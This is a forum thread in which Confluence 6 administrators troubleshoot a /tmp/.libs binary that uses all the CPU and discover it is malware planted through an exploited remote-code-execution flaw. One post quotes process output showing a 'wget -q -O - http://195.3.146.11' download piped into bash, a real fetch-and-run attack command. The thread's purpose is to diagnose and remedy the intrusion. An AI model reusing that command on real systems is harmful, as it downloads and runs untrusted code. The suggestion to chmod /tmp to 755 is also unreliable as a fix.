Confluence. CPU at 100% in "/tmp/.libs" binary

[Iván Dominguez]

Hello, I have a Conflunece 6 on my own server, and sometimes a file /tmp/.libs created by confluence have the CPU at 100%.

I explore the binary and see it's a en elf executable and the file size is about 2 MB. I think it is any kind of java subsystem binary cache or the result of Java's AOT.

Stoping confluence and deleting it will regenerate when confluence starts again, first with small size, but over the time it gets bigger.

How Can I do to get less CPU usage?.

My confluence installation does not have any external plugin/extension except the Cloud migration tool.

Thanks.

[alx_th]

Bad news. Just checked on my installation and this is true. 

https://therecord.media/confluence-enterprise-servers-targeted-with-recent-vulnerability/

[Nalin Kularathna]

Hi,

thanks for informing. do you know any thing we can do for this issue. They are deploying some binary files whenever possible locations which has access to confluence user. I restricted all the places which has access by confluence user. After that it is running below things again and again.

conflue+ 26417 26416 0 18:58 ? 00:00:00 /bin/sh -c wget -q -O - http://1
conflue+ 26418 26417 0 18:58 ? 00:00:00 wget -q -O - http://195.3.146.11
conflue+ 26419 26417 0 18:58 ? 00:00:00 bash
root 26426 1006 0 18:59 ? 00:00:00 CRON

thanks,

[alx_th]

They already have a patch for this vulnerability: https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md 

[alx_th]

After apply patch you need to delete all artifacts (installed apps/modified files) manually. Please check home directory of atlassian user

[Balu Thodupoonuri]

Hi Team,

Same issue here /tmp/.inis and /tmp/.libs files are eating 100% CPU and more into blogs, I found its malware inject and scanned for files using clamscan... I found files in the /tmp folder and deleted. Still when I delete the above .inis and .libs files they are re-creating it.

Please can you provide a solution for this. we use confluence 6.12.2.

[Nalin Kularathna]

Hi team,
I also have same issue. please provide a solution for this. I deleted all files in tmp folder but they are still creating files and running them.

[Nalin Kularathna]

I temporary changed the tmp folder permission to 755. so only root can write to the tmp directory now.